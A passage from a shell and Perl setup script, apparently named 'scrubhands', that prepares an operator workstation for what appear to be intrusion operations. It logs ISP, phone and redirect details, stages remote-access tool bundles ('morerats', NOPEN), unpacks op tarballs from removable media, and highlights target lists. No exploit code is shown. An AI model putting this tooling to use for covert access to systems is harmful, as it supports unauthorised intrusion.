"/tmp/suiteinfo") { + sleep 1; + mywarn("You must finish the Suite-Select window first") + unless (\$waitcount % 45 or -e "/tmp/suiteinfo"); + \$waitcount++; + } + sleep 1; + my \$defaults = \$redial ? "" : " DEFAULTS"; + mywarn("NOTE: Defaults are NOT correct here on modem ops.\n\n") + if ! \$redial; + while (! \$wearedone) { + \$ans = ""; + if (\$redial or ! \$defaults) { + \$isp = &getinput("\$redial\$num ISP Account : ",\$isp); + \$city = &getinput("\$redial\$num City : ",\$city); + \$phone = &getinput("\$redial\$num Phone # : ",\$phone); + \$localip = &getipinput("\$redial\$num ISP IP : ",\$localip); + } + + \$isp = "LK" unless \$isp; + + newhostvar("gbl_localip",\$localip); + if ( \$ans =~ /^y/i ) { + print ISPINFOOUT "ISP\$redial\$num:\t\$isp\n". + "City\$redial\$num:\t\$city\n". + "Phone\$redial\$num:\t\$phone\n". + "Source IP\$redial\$num:\t\$ourip\n". + "ISP IP\$redial\$num:\t\$localip\n"; + \$num++; + next; + } + + while (! ( \$wearedone =~ /^[yn]/i ) ) { + \$wearedone= &getinput + ("ISP\$redial\$num:\t\$isp\n". + "City\$redial\$num:\t\$city\n". + "Phone\$redial\$num:\t\$phone\n". + "ISP\$redial\$num IP:\t\$localip". + "\n\n Are these\$defaults correct? : ","Y"); + } + \$defaults = ""; + if (! ( \$wearedone =~ /^y/i ) ) { + \$wearedone = ""; + next; + } + \$ans = &getinput(" Are there more redials? : ","No") + if \$redial; + } #end while (!\$wearedone) + \$num = "" unless \$redial; + + # Spaces and slashes before ":\t" are removed in + # variable name when this file is read elsewhere. + # Use exactly one \t here after : + # + print ISPINFOOUT "ISP\$redial\$num:\t\$isp\n". + "City\$redial\$num:\t\$city\n". + "Phone\$redial\$num:\t\$phone\n". + "ISP\$redial\$num IP:\t\$localip"; + if (! \$redial) { + print ISPINFOOUT "\n". + "Source IP:\t\$ourip\n". + "FINAL target IP:\t\$targetip\n". + "Ops Machine:\t\$host"; + } + print ISPINFOOUT "\\n"; + close(ISPINFOOUT); + +} # end sub getispinfo + + +sub getinput { + # NOTE THIS DIFFERS FROM mygetinput() in autoutils, which returns am array. + local(\$prompt,\$default) = @_; + local(\$ans,\$tmp) = ("",""); + + \$tmp = \$default; + if (chop(\$tmp) eq "\\n") { + #damn ^M's in script files + \$default = \$tmp; + } + + printboth(\$prompt); + if (\$default) { + printboth(" [\$default] "); + } else { + printboth(" "); + } + chomp(\$ans = ); + \$ans = \$default if ( \$ans eq "" ); + printlog("\n\nANSWERED: \\"\$ans\\"\n"); + return \$ans; +} # end sub getinput + +sub getipinput { + local(\$prompt,\$default) = @_; + local(\$ans,\$tmp) = ("",""); + + while (! \$ans) { + \$ans = &getinput(\$prompt,\$default) ; + if (! length \$ans) { + printboth("\\n\\n\\aYou must enter a valid IP or \"unknown\" here.\\n\\n"); + } elsif ( ! (\$ans eq "unknown") and ! &ipcheck(\$ans)) { + \$ans = ""; + printboth("\\n\\n\\aInvalid IP.\\n\\n"); + } + } + return \$ans; +} # end sub getipinput + +sub printboth { + my \$logonly = "\$viacopywhat"; + if (\$_[-1] eq "LOGONLY") { + \$logonly = pop (@_); + } + print "@_" unless \$logonly; + return unless open(LOG,">> \$logfile"); + print LOG "@_"; + close(LOG); +} +#printboth + +sub warnherealso { + return unless open(LOG,">> \$logfile"); +# warn "@_"; autoutils mywarn will call warnherealso() if defined, so no warn here + print LOG "TOSTDERR: @_"; + close(LOG); +} +#warnherealso + +sub printlog { + return unless open(LOG,">> \$logfile"); + print LOG "@_"; + close(LOG); +} + +sub setusagetexts { + \$usagetext=" +Usage: \$prog [OPTIONS] + \$prog setvar varname [host] [value of var] + +When called directly, and after the first (popup) instance has begun, +\$prog now serves a few op related functions. Running it with no arguments +will re-run getopdata as before, but only do so if your original getopdata +is no longer active (or you have killed it). + +The setvar capability will define a variable in hostvars.global or the proper +hostvars.HOST.IP (if the keyword \"host\" appears AND the host data is defined, +which usually means you are running a NOPEN -lsh command). Care must be taken +not to conflict with any variable \"varname\" already in use by other scripts. + +Optional host argument puts content in hostvars.nopen_rhostname if that +is defined. To set hashed arrays, use a \\".\\" for each bracket in varname. + + +When run with these options, \$prog will print the desired information if +available and then exit. If the optional \"newval\" is provided for -O/P/S, that +option must be the only one used and that value is then reset in hostvars.global +and vi pastables are provided to fix your opnotes.txt file. + + -h/v Prints usage statement/version + -V VER Compute a numerically comparable value for a N.M.L.K + version string. Returns: VALUE STRING, where STRING is the + N.M.L.K string inside what you sent it. + -H Prints this host information numerically as HOST,ROOM,STATION,SITE + -M Prints out our current throughput in MB (per bwsofar()). + -O [newval] Prints/sets Op User ID + -P [newval] Prints/sets Op Project Name + -S [newval] Prints/sets Op Schedule ID + -T Prints/sets out the Targets section of opnotes.txt (if it is saved). + +"; + +} +GETOPDATA +chmod 700 $TOP/$DATE/$TOOLS/getopdata +### end writing of getopdata ### + +note Creating $TOP/$DATE/$TOOLS/getmorerats +cat <<'MORERATS' > $TOP/$DATE/$TOOLS/getmorerats +#!/bin/bash +BETA=`echo $1 $2 | grep -i beta` +ALPHA=`echo $1 $2 | grep -i alpha` +HAVEALPHAUP=0 +HAVEBETAUP=0 +[ "$DIR" ] || DIR=/current +[ "$DIR" = "." ] && DIR=`pwd` +if [ "$ALPHA" -a -f "${DIR}/ALPHAwarez/up/morerats.tar.bz2" ] ; then + HAVEALPHAUP=1 + mv ${DIR}/up/morerats.tar.bz2 ${DIR}/ORIGUP.morerats.tar.bz2 2>/dev/null + mv ${DIR}/ALPHAwarez/up/morerats.tar.bz2 ${DIR}/up +fi +if [ "$BETA" -a -f "${DIR}/BETAwarez/up/morerats.tar.bz2" ] ; then + HAVEBETAUP=1 + if [ $HAVEALPHAUP -gt 0 ] ; then + mv ${DIR}/up/morerats.tar.bz2 ${DIR}/ORIGALPHAUP.morerats.tar.bz2 2>/dev/null + fi + mv ${DIR}/up/morerats.tar.bz2 ${DIR}/ORIGUP.morerats.tar.bz2 2>/dev/null + mv ${DIR}/BETAwarez/up/morerats.tar.bz2 ${DIR}/up +fi +if [ $HAVEALPHAUP -gt 0 -o $HAVEBETAUP -gt 0 ] ; then + if [ ! -e ${DIR}/etc/autoutils -a ! -e ${DIR}/etc/autodone ] ; then + if [ -e ${DIR}/*warez/etc/autoutils -a -e ${DIR}/*warez/etc/autodone ] ; then + echo -e "\nWe have NOPEN in ALPHA or BETA but not in ${DIR}/etc*, so:\n\n" + echo -e "COPYING contents of \n\a"`ls -ld ${DIR}/*warez` + echo -e "\nInto ${DIR}/" + cp -prv ${DIR}/ALPHAwarez/* ${DIR}/ 2>/dev/null + cp -prv ${DIR}/BETAwarez/* ${DIR}/ 2>/dev/null + fi + fi +fi +if [ -f "${DIR}/up/morerats.tar.bz2" ] ; then + if [ -d "${DIR}/up/morerats" ] ; then + echo "Setting aside old morerats:" + mv ${DIR}/up/morerats ${DIR}/UP.morerats.old.$$ + fi + if [ -d "${DIR}/bin/morerats" ] ; then + echo "Setting aside old morerats:" + mv ${DIR}/bin/morerats ${DIR}/BIN.morerats.old.$$ + fi + echo -e "\t${DIR}/up/morerats.tar.bz2" + sleep 1 + # Background this whole thing inside {}s with stderr NULLd + # This makes a new morerats/, but if the tarball starts at ./morerats, + # that gets fixed with the mv commands. + { + mkdir -p ${DIR}/up/morerats ${DIR}/bin/morerats + mv ${DIR}/up/morerats.tar.bz2 ${DIR}/up/morerats + cd ${DIR}/up/morerats + tar xjf morerats.tar.bz2 + mv *client* ${DIR}/bin/morerats + [ -d ${DIR}/bin/morerats/morerats/ ] && mv ${DIR}/bin/morerats/morerats/* ${DIR}/bin/morerats/ && rmdir ${DIR}/bin/morerats/morerats/ + [ -d ${DIR}/up/morerats/morerats/ ] && mv ${DIR}/up/morerats/morerats/* ${DIR}/up/morerats/ && rmdir ${DIR}/up/morerats/morerats/ + chown -hR 0:0 ${DIR}/up/morerats ${DIR}/bin/morerats 2>/dev/null + (sum `find ${DIR}/up/morerats -type f` ; find ${DIR}/up/morerats -type f -ls ) 2>/dev/null > ${DIR}/up/morerats/sums + (sum `find ${DIR}/bin/morerats -type f` ; find ${DIR}/bin/morerats -type f -ls ) 2>/dev/null > ${DIR}/bin/morerats/sums + } 2>/dev/null & +else + # this saves time later for packrat + [ -d "${DIR}/up/morerats" ] && (sum ${DIR}/up/morerats/* ; ls -al ${DIR}/up/morerats/* ) 2>/dev/null > ${DIR}/up/morerats/sums & +fi +MORERATS +chmod +x /$TOP/$DATE/$TOOLS/getmorerats 2>/dev/null + +note Creating /usr/local/bin/1x and friends +cat <<4X > /usr/local/bin/4x +#!/usr/bin/env perl +# Built $DATE by scrubhands $SCRUBVER +\$display = ":0" ; +\$term = "xterm" ; +\$display = \$ENV{DISPLAY} if ( \$ENV{DISPLAY} =~ /:/ ) ; +\$defargs = "-display \$display -ut +cm +cn -sk -sb -sl 15000 -fg black -bg gray80 -ie"; +\$count = 4; +\$count = 1 if (\$0 =~ /1x/); +\$count = 2 if (\$0 =~ /2x/); +\$count = 3 if (\$0 =~ /3x/); +\$exact = (\$0 =~ /xw/); + +if (\$ARGV[0] eq "-h") { + print " +usage: 1x [-s|-w] [extra \$term arguments] (brings up only 1) + 2x [-s|-w] [extra \$term arguments] (brings up only 2) + 3x [-s|-w] [extra \$term arguments] (brings up only 3) + 4x [-s|-w] [extra \$term arguments] (brings up 4) + +This script starts up to four instances of \$term. Default arguments used are: + \$defargs + (see man \$term for what those do). + + -s wait for click on window, then use that size (also done + when run as something containing \"xs\"). + + -w wait for click on window, then use that size AND location (also + done when run as something containing \"xw\"). + + Soft links for N=1 .. 4 are created for all of Nx, Nxw and Nxs. Running + as Nxw or Nxs is equivalent to the -w and -s options, respectively. + examples: + + 2xw (make two windows identical to clicked one) + 2xs (make two windows same size as clicked one + placed in top two corners) + 4x -bg white -fg black (overrides default colors, one in each corner) + 3x -cm (disables colors, three windows in corners) + 4x -rightbar (scrollbars on right) + +"; + exit +} elsif (\$ARGV[0] =~ /^-[ws]\$/ or \$0 =~ /x[ws]/) { + print "\\nClick on any window to use that window's size:" ; + chomp(\$geom = \`xwininfo | grep geometry\`) ; + \$geom =~ s,.*-geometry\s+,,; + print "\\n\\n"; + \$geom =~ s,[\+\-].*,, unless \$exact; +} +shift @ARGV if (\$ARGV[0] eq "-s" or \$ARGV[0] eq "-w") ; + +close(STDIN); +close(STDOUT); +close(STDERR); +\$ENV{PROMPT_COMMAND} = "" ; +if (\$count-- > 0 && ! fork()) { + \$geom .= "+0+0" unless \$exact; + warn "DBG: RUNNING\n:\$term \$defargs -geometry \$geom @ARGV\n"; + exec "\$term \$defargs -geometry \$geom @ARGV"; +} elsif (\$count-- > 0 && ! fork()) { + \$geom .= "-0+0" unless \$exact; + warn "DBG: RUNNING\n:\$term \$defargs -geometry \$geom @ARGV\n"; + exec "\$term \$defargs -geometry \$geom @ARGV"; +} elsif (\$count-- > 0 && ! fork()) { + \$geom .= "+0-0" unless \$exact; + warn "DBG: RUNNING\n:\$term \$defargs -geometry \$geom @ARGV\n"; + exec "\$term \$defargs -geometry \$geom @ARGV"; +} elsif (\$count-- > 0 && ! fork()) { + \$geom .= "-0-0" unless \$exact; + warn "DBG: RUNNING\n:\$term \$defargs -geometry \$geom @ARGV\n"; + exec "\$term \$defargs -geometry \$geom @ARGV"; +} +4X + + +( cd /usr/local/sbin + ln -sf 4x 3x + ln -sf 4x 2x + ln -sf 4x 1x + ln -sf 4x 4xs + ln -sf 4x 3xs + ln -sf 4x 2xs + ln -sf 4x 1xs + ln -sf 4x 4xw + ln -sf 4x 3xw + ln -sf 4x 2xw + ln -sf 4x 1xw +) +chmod 700 /usr/local/sbin/4x + +if [ "$TESTGETOPDATA" ] ; then + mkdir -vp $TOP/$DATE/etc + cp -vp `dirname $0 2>/dev/null`/../etc/autoutils $TOP/$DATE/etc || \ + cp -vp /current/etc/autoutils $TOP/$DATE/etc + for PFILE in getopdata doupgrade ethwarn.pl ; do + echo perl -c $TOP/$DATE/$TOOLS/$PFILE + perl -c $TOP/$DATE/$TOOLS/$PFILE + done + exit +fi + + +[ -d /usr/local/bin ] && [ ! -L /usr/local/bin ] && mv /usr/local/bin /usr/local/bin.old.$$ +[ -d /usr/local/sbin ] || mkdir -p /usr/local/sbin +[ -e /usr/local/bin ] || ln -sf /usr/local/sbin /usr/local/bin +[ -e /usr/local/sbin/lss ] || ln -sf /usr/local/sbin/lsstamp /usr/local/sbin/lss + +note "Configuring /etc/vimrc (remove any textwidth= or tw= lines)" +cp -pf /etc/vimrc /etc/vimrc.orig +sed "s/.*tw=.*//" /etc/vimrc.orig | sed "s/.*textwidth=.*//" > /etc/vimrc +echo "set tw=0" >> /etc/vimrc + +# See if we need to update the alwayspcap.pl section in /etc/rc.local +RCHEADLINES=`grep -n RCLOCAL /etc/rc.local | head -1 | sed "s/:.*//g"` +cat /dev/null > /tmp/rc.local.new +if [ "$RCHEADLINES" ] ; then + RCHEADLINES=$((RCHEADLINES-1)) + head -$RCHEADLINES /etc/rc.local > /tmp/rc.local.new +else + cp -p /etc/rc.local /tmp/rc.local.new +fi +cat <> /tmp/rc.local.new +RCLOCALVER="from scrubhands v.$SUITEVER" +# DO NOT CHANGE BELOW ABOVE LINE. AUTOMATICALLY UPDATED BY scrubhands. +export RCLOCAL=yes +[ -e /etc/rc.d/init.d/functions ] && source /etc/rc.d/init.d/functions +[ -x /usr/local/bin/alwayspcap.pl ] && echo -n Starting alwayspcap.pl: +[ -x /usr/local/bin/alwayspcap.pl ] && \\ + INTERFACE=$PUBLICETHER RESTART=yes /usr/local/bin/alwayspcap.pl > /dev/null 2>&1 && \\ + [ -e /etc/rc.d/init.d/functions ] && echo_success +if [ \$? -gt 0 ] ; then + [ -e /etc/rc.d/init.d/functions ] && echo_failure + [ -e /etc/rc.d/init.d/functions ] || echo FAILED +else + [ -e /etc/rc.d/init.d/functions ] || echo OK +fi +echo -e "\n"\`date\` /etc/rc.local FINISHED +unset RCLOCAL +sleep 3 +EOFRCLOCAL +diff /tmp/rc.local.new /etc/rc.local || \ + { + note Updating the alwayspcap.pl section in /etc/rc.local + cat /tmp/rc.local.new > /etc/rc.local + } +rm -f /tmp/rc.local.new + + +note Configuring root and black .vimrc +cat < /root/.vimrc +:map o=strftime("%F %T %Z -- ") +:map! =strftime("%F %T %Z -- ") +:set textwidth=0 +:syntax off +:set t_kb= +:let splitview=0 +:map :if splitviewlet splitview=01wincmd whideelselet splitview=18split:5normal ztendif +:map W +:map za +:imap za +:map zi +:imap zi +:map O=======================--- =======================<>=======================2kzfi =======================--- =======================<>=======================2kzfi o=======================<>=======================2kzfi =======================<>=======================2kzfi zkzv +:map zjzv +:sy region TargetsSection start=/^Targets (IP, full domain name, target tags: pitchimpair unsuccessful not_attempted ) : $/ end=/^Results:$/ contains=CONTAINED keepend +:sy match UnixTargets /^-*>.*nix\s.*/ contained oneline +:sy match WinTargets /^-*>.*win\(dows\)*\s.*/ contained oneline +:sy match FWTargets /^-*>.*\sfw\s.*/ contained oneline +:sy match RTRTargets /^-*>.*\srtr\s.*/ contained oneline +:sy match PitchTargets /^-*>.*\spitchimpair\s.*/ contained oneline +:sy match UnsuccTargets /^-*>.*\suns.*/ contained oneline +:sy match Meta /^\(PROJECT=\|OPUSER=\|OPSCHEDULE=\|SCRUBVER=\|POPMAIL\).*/ oneline +:sy match Meta /^Redirect\(ing Method\| Target [0-9]\| Host [0-9]\).*/ oneline +:sy match Meta /^\(ISP:\|City:\|Phone:\|ISP IP:\|Source IP:\|FINAL target IP:\|Ops Machine:\).*/ oneline +:sy match Meta /^\LOCALHOST.LOCALDOMAIN: scrubhands v..*\n#*\nSCRUBHANDS.*\n:\n\/usr\/local\/bin\/scrubhands.*\n#*/ +:syn region CommentBlock start=/^#.*\n#/ end=/^[^#]/me=e-2 fold keepend contains=none +:sy match TimeStamp /^[0-9]\{1,2\}:[0-9][0-9] [AP]M \([0-9]\{1,2\}\/\)\{2\}[0-9]\{4\}/ containedin=TargetResults +:sy match TimeStamp /^[0-9]\{4\}\(-[0-9]\{2\}\)\{2\} \([0-9]\{2\}:\)\{2\}[0-9]\{2\} UTC/ containedin=TargetResults +:hi UnsuccTargets ctermbg=red +:hi UnixTargets ctermfg=darkgreen +:hi WinTargets ctermfg=darkblue +:hi RTRTargets ctermfg=darkmagenta +:hi FWTargets ctermfg=darkred +:hi PitchTargets ctermfg=darkcyan +:hi CommentBlock ctermfg=blue +:hi Meta ctermfg=darkgray +:hi TimeStamp ctermbg=darkyellow +:syn sync fromstart + +:map :echo "\nThis config adds Syntatical highlighting, folding and quick-jump to targets. Folding can compress a whole section of opnotes to one line that can be expanded as needed without altering the file contents.\n\nNew keybindings:\nF6: Insert target header block\nF8: Toggle targets section split window\nShift-F8: Switch split window focus\nF9: Toggle folding at cursor\nShift-F9: Toggle autofolding (whole file)\nF10: Move to previous target.\nF11: Move to next target\nF12: Help" +EOF +echo -e "set t_kb=\177" >> /root/.vimrc +if [ -d /home/black ] ; then + cp -f /root/.vimrc /home/black/.vimrc +fi + +# Add lines to /root/.bashrc if not already done +if [[ ! `grep stty /root/.bashrc 2>/dev/null` ]]; then + echo stty erase ^? >> /root/.bashrc +fi + + +$SETCOLOR_NORMAL + +cd $TOP/$DATE/ +unset TARDIR TAR SECONDTRY +while [ ! "$TAR" ] ; do + if [ "$SECONDTRY" ] ; then + + echo -e "\a + +DOH! Couldn't find any valid tarballs on floppy or zip disk. Did you forget +to put in the right thumb, floppy or ZIP? + +$PROG looks first for tar zip disks, then mountable zip disks, +then tar floppies (no need to type \"zip\" any more). + +Put in the media and press RETURN to continue, or ^C to abort. +" + read junk + TARKEYS= + TAR= + TARBALL= + else + SECONDTRY=1 + fi + + TMPCOUNT=0 + rm -f /tmp/zipstatus + if [ "$TARBALL" ] ; then + ZIPSTATUS=file + TAR=$TARBALL + elif [ "$TAR" ] ; then + # now looking for zip tarball first + echo "Looking on /dev/zip for tarball (tar'd there or mountable)" + TAR=`tar xvf /dev/zip 2>/dev/null` + unset ZIPSTATUS TARDIR + ZIPSTATUS=tar + TARDIR=$TOP/$DATE + else + # make sure zip not currently mounted + MNTPNT="`mount | grep zip | awk '{print $3}'`" + # if we are in FG mode, see if we already have a TC volume mounted + if [ "$FG" == 1 ] ; then + MNTPNT="`truecrypt --list | grep '/mnt/zip' | awk '{print $4}'`" + if [ "$MNTPNT" ] ; then note "We have TC mounted already, using MNTPNT $MNTPNT"; fi + fi + + echo "LEAVEMOUNTED is $LEAVEMOUNTED , MNTPNT is $MNTPNT, FG is $FG" + if [ "$FG" == 1 -a "$MNTPNT" ] ; then + echo "Not doing a uz, since we are in fg mode and have a MNTPNT of $MNTPNT" + elif [ ! "$LEAVEMOUNTED" -o ! "$MNTPNT" ] ; then + while [ "`mount | grep zip`" ]; do + [ "$LEAVEMOUNTED" ] && break + findzip -u + killall truecrypt + # umount /mnt/zip 2>/dev/null + usleep 300000 2>/dev/null + TMPCOUNT=`expr $TMPCOUNT + 1` + if [ $TMPCOUNT -gt 3 ] ; then + usage exit "Cannot unmount ZIP drive. Make sure you don't have it as an active + directory somewhere and then re-run $PROG." + fi + done + . /usr/local/sbin/findzip "$FINDZIPOPTS" + findzipdev "$FINDZIPOPTS" + fi + [ ! "$MNTPNT" ] && sleep 2 && findzipdev $FINDZIPOPTS + if [ "$MNTPNT" ] ; then + TARDIR=$MNTPNT + ZIPSTATUS=$MNTPNT + # Refuse to proceed if we see a NEWER scrubhands on + # MNTPNT than this one running. + VERZIP=`$MNTPNT/scrubhands -v 2>/dev/null | sed "s,.* ,,g" | tr -d . | tr -dc '[0-9]'` + if [ "$VERZIP" ] ; then + VERUS=`echo $SCRUBVER | tr -d . | tr -dc '[0-9]'` + if [ "$VERZIP" -gt "$VERUS" ] ; then + note "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" + note "\n\nYour $MNTPNT/scrubhands version is NEWER than $0.\n\n" \ + "Please run this:\n\n $MNTPNT/scrubhands -u -m\n\n" \ + "and then after it successfully upgrades /usr/local/sbin/scrubhands) re-run\n\$COLOR_NORMAL\n" \ + " $SCRUBCMDLINE\n\n" + exit + fi + fi + unset VERUS VERZIP + fi + fi + echo "$ZIPSTATUS" > /tmp/zipstatus + [ "$TARSONZIP" ] || TARSONZIP=1 + if [ $TARSONZIP -gt 1 ] ; then + # If we have more than one tarball from zip, then some may be keys.tar.bz2 files + [ "$TARDIR" ] && TAR=`ls -a1t $TARDIR/*.tar $TARDIR/*bz2 $TARDIR/*gz $TARDIR/*Z 2>/dev/null | egrep -iv "(jscanner.*|OPSDisk|FW.*).zip|routers.tar|\.20[0-9]{6}\-[0-9]{4}|opstuff|\/down\." | head -$TARSONZIP` + else + [ "$TARDIR" ] && TAR=`ls -a1t $TARDIR/*.tar $TARDIR/*bz2 $TARDIR/*gz $TARDIR/*Z 2>/dev/null | egrep -iv "(jscanner.*|OPSDisk|FW.*).zip|routers.tar|\.20[0-9]{6}\-[0-9]{4}|opstuff|\/down\.|\.keys\.tar\.bz2" | head -$TARSONZIP` + [ "$TARDIR" ] && TARKEYS=`ls -a1t $TARDIR/*.tar $TARDIR/*bz2 $TARDIR/*gz $TARDIR/*Z 2>/dev/null | egrep "\.keys\.tar\.bz2"` + fi + + # new 20081120: Start alwayspcap.pl in restart mode. + # Old sniffs in old /current/tmp will close out, new ones in + # new dir will begin. + echo "" + echo "" + type alwayspcap.pl > /dev/null && note "`date -u` Re-starting alwayspcap.pl." + type alwayspcap.pl > /dev/null && INTERFACE=$INTERFACE RESTART=yes alwayspcap.pl > /dev/null 2>&1 & + sleep 2 + + + [ "$RTRBALLS" ] && RTRZIP="`find $TARDIR/$RTRBALLS -type f 2>/dev/null`" + [ "$RTRZIP" ] && note Found router tarballs on $TARDIR: + [ "$RTRZIP" ] && note "`echo $RTRZIP | tr \" \" '\n' | sed \"s/^/ /g\"`" + + + #FWZIPFIND=`find $TARDIR/ $TARDIR/.. -name "FW*.zip" 2>/dev/null` + #FWZIP="" + #[ "$FWZIPFIND" ] && FWZIP=`ls -1rt $FWZIPFIND 2>/dev/null | grep -v RC | tail -1` + FWZIP=`ls -1rt $TARDIR/FW*.zip $TARDIR/../*/FW*.zip 2>/dev/null | grep -v RC | tail -1` + FWTARBZ=`ls -1rt $TARDIR/FW.*.tar.bz2 $TARDIR/../*/FW.*.tar.bz2 2>/dev/null | grep -v RC | tail -1` + [ "$FWZIP" ] && FWBALL=`basename $FWZIP 2>/dev/null` + [ "$FWTARBZ" ] && FWBALL=`basename $FWTARBZ 2>/dev/null` + + + if [ "$TAR" ]; then + OPSTUFF=`ls -a1t $TARDIR/opstuff* | head -1` + if [ "$OPSTUFF" ] ; then + echo -e "\nComing soon to a scrubhands near you, automatic opbox upgrading!\n\n" + # TODO NOTES: Here need logic to: + # 0) unpack $OPSTUFF somewhere + # 1) terminate if this box has had this or greater version installed already + # 2) install portions of it that work on any hardware + # 3) determine this hardware rev + # 4) install portions of it specific to this hardware rev + # 5) determine if this opstuff install requires reboot and if so, + # reboot box (with prompt and countdown....) + fi + # got op tarball(s) on zip - unpack it + if [ -f "$TARDIR/stoicctrls.tar.bz2" ] ; then + STOICBALL="$TARDIR/stoicctrls.tar.bz2" + echo Replacing /current/bin/stoicctrls.tar.bz2 with one from $TARDIR: + ls -alrt /current/bin/stoicctrls.tar.bz2 $STOICBALL + cp -vp /current/bin/stoicctrls.tar.bz2 /current/bin/stoicctrls.tar.bz2.notused + cp -vp $STOICBALL /current/bin/stoicctrls.tar.bz2 + fi + echo "Found these key tarball(s) +======== +$TARKEYS +========" + echo "Found these tarball(s) +======== +$TAR" + [ "$FWZIP" ] && echo $FWZIP + [ "$FWTARBZ" ] && echo $FWTARBZ + [ "$RTRZIP" ] && echo $RTRZIP | tr ' ' '\n' + echo "========" +# # If zip has newertools.tar.bz2, unpack that also +# if [ -e /mnt/zip/newertools.tar.bz2 ] ; then +# TAR="$TAR /mnt/zip/newertools.tar.bz2" +# fi + # Check, if we have RC tarballs and are in upgrade mode, + # well that is a no-no. + if [ "`echo $TAR | grep RC`$NEWPROG" ] ; then + if [ "$DOUPGRADE" = "yes" ] ; then + eitheror=" RC tarball" + [ "$NEWPROG" ] && eitheror=" $NEWPROG" + findzip -u +# umount /mnt/zip 2>/dev/null + echo "Refusing to use -u option with$eitheror. Done here." + exit + fi + fi + if [ "$DOUPGRADE" = "yes" ] ; then + note Upgrading, so skipping these file, not moving to $TOP/$DATE: + note $FWZIP $FWTARBZ $STOICBALL $RTRZIP $TARKEYS $MNTPNT/$JSCANNERFILE . 2>/dev/null + cp -vp $TAR . 2>/dev/null ; chown 0:0 * + else + if [ ! "$NEWPROG" ] ; then + if [ "$FG" == 1 ] ; then + GOTALL=1 + note We are in FG mode, upgrades should be done already.... + CHECKFILES="" + else + CHECKFILES="etc/autoutils bin/findzip bin/scrubhands bin/copy-what bin/fwrules.py bin/bashfunctions" + fi + PITCHTAR=`ls -a1t $TAR | grep PITCHIMPAIR.*bz2 | head -1` + [ "$PITCHTAR" ] || notered exit "Odd, why no PITCHTAR?" + note "Checking versions on station for:\n\n $CHECKFILES" + note against the files from $PITCHTAR + ls -al $PITCHTAR + ( tar xjf $PITCHTAR $CHECKFILES >/dev/null 2>&1 ) & + TOOLONG=60 + while [ 1 ] ; do + sleep 1 + TOOLONG=$((TOOLONG-1)) + GOTALL=1 + for f in $CHECKFILES ; do + [ -f $f ] || GOTALL=0 + done + [ $GOTALL -gt 0 ] && break + [ $TOOLONG -gt 0 ] || break + done + [ $TOOLONG -gt 0 ] || notered exit Unpacking + CHECKCOUNT=0 + for f in $CHECKFILES ; do + CHECKCOUNT=$((CHECKCOUNT+1)) + note diff ./$f /usr/local/sbin + diff ./$f /usr/local/sbin && continue + note Upgrading /usr/local/sbin/`basename $f` from ./$f + notered BEFORE + ls -arlt /usr/local/sbin/`basename $f`* ./$f + \cp -vp /usr/local/sbin/`basename $f` /usr/local/sbin/`basename $f`.`date +%F-%H%M%S` 2>/dev/null + \cp -vp ./$f /usr/local/sbin/ && chmod +x /usr/local/sbin/`basename $f` + notered AFTER + ls -arlt /usr/local/sbin/`basename $f`* ./$f + GOTALL=0 + done + + if [ $GOTALL -eq 0 ] ; then + notered "\n\n$PROG just upgraded one or more vital scripts in /usr/local/sbin, try again.\n" + note "\n$SCRUBCMDLINE\n\n" + notered exit "You MUST re-run your scrubhands command, up-arrow or use the pastable above.\n\n" + else + [ "$CHECKFILES" ] && note "\n\nAll $CHECKCOUNT are up to date\n\n" + fi + unset CHECKCOUNT CHECKFILES GOTALL TOOLONG PITCHTAR + fi + + # redir stderr to null since $TAR may already be in . + note Copying files to $TOP/$DATE: + cp -vp $FWZIP $FWTARBZ $STOICBALL $RTRZIP $TARKEYS $TAR $MNTPNT/$JSCANNERFILE . 2>/dev/null ; chown 0:0 * + fi + #At this point go ahead and move our FG local data into our op dir + if [ -d $FGTEMP/localCopy ] ; then + note Copying our FG transferred files to $TOP/$DATE/fg + if [ -h /share/down/fg ]; then + echo "/share/down/fg link already existed! Unlinking /share/down/fg!" + unlink /share/down/fg + fi + /bin/cp -prv $FGTEMP/localCopy /share/down/fg + note "Linking FG transfered files in /share/down/fg to /current/fg for your use on the unix station" + ln -vs /share/down/fg $TOP/$DATE/fg + note "Fixing up permissions in fg directory /share/down/fg" + chmod -R o+rX /share/down/fg + fi + if [ "$FG" == 1 ] ; then + note "In FG mode - we won't be unmounting just yet to avoid race condition, we will do it at the end" + elif [ ! "$LEAVEMOUNTED" -o "$FG" ] ; then + # got what we wanted--no sense leaving it mounted... + note unmounting /mnt/zip + findzip -u +# umount /mnt/zip 2>/dev/null + fi + # one of following two may fail--that's ok + bzip2 -d *bz2 2>/dev/null + gzip -d *gz 2>/dev/null + for TMP in `ls -at *.tar | egrep -v "stoicctrls.tar|newertools.tar|\.keys\.tar\.bz2"` ; do + C=. + [ -d .$$ ] && C=op2 + [ -d op2 ] && C=op3 + [ -d op3 ] && C=op4 + [ -d op4 ] && C=op5 + [ -d op5 ] && C=op6 + [ -d op6 ] && C=op7 + [ -d op7 ] && C=op8 + [ -d op8 ] && C=op9 + if [ "$C" = "." ] ; then + if [ "$FG" == 1 ] ; then + DOUPGRADE=no + notered "Disabling auto-upgrade of /usr/local/bin in FG mode (should already be up to date)." + elif [ "`echo $TMP | grep RC`$NEWPROG" ] ; then + # We force no upgrade with RC tarballs + DOUPGRADE=no + notered "Disabling auto-upgrade of /usr/local/bin with RC tarball." + fi + fi + echo "" + [ "${TMP:0:7}" = "ROUTER_" ] && C=. + echo $TMP | grep -q "\.keys\.tar" && C=. + echo "Untarring $TMP into $TOP/$DATE/$C" + [ "$C" = "." ] || mkdir $C + tar -C $C -xvf $TMP + # marker .$$ for first time through is done... + mkdir .$$ 2>/dev/null + done + [ -e newertools.tar ] && \ + notered Unpacking newertools.tar OVERWRITING $TAR && \ + tar xvf newertools.tar + rmdir .$$ + ZIP=$TAR + if [ -z "`ls -alR | grep opscript.txt`" ]; then + echo -e "\nDOH!\a\n Cannot find opscript.txt anywhere in $TOP/$DATE.\n" + echo -e " Let's try this again.\n" + # unpack failed reset TAR to "" so we stay in while loop + TAR="" + rm -rf $TOP/$DATE/* + fi + else + echo "Looking on /dev/fd0 for tarball (can take a while, which is" + echo $MINUSN " part of why zip is better) " + TAR=`tar xvf /dev/fd0 2>/dev/null` + echo "" + if [ -e "Systems" ]; then + rm -rf $TAR 2>/dev/null + TAR="" + echo -e "\a + +Still the ISP floppy. +" + fi + fi +# end while [ ! "$TAR" ] ; do +done + +if [ ! "$DOUPGRADE" = "yes" ] ; then + rm -vf /tmp/suiteinfo /tmp/suite.txt /suite.txt + 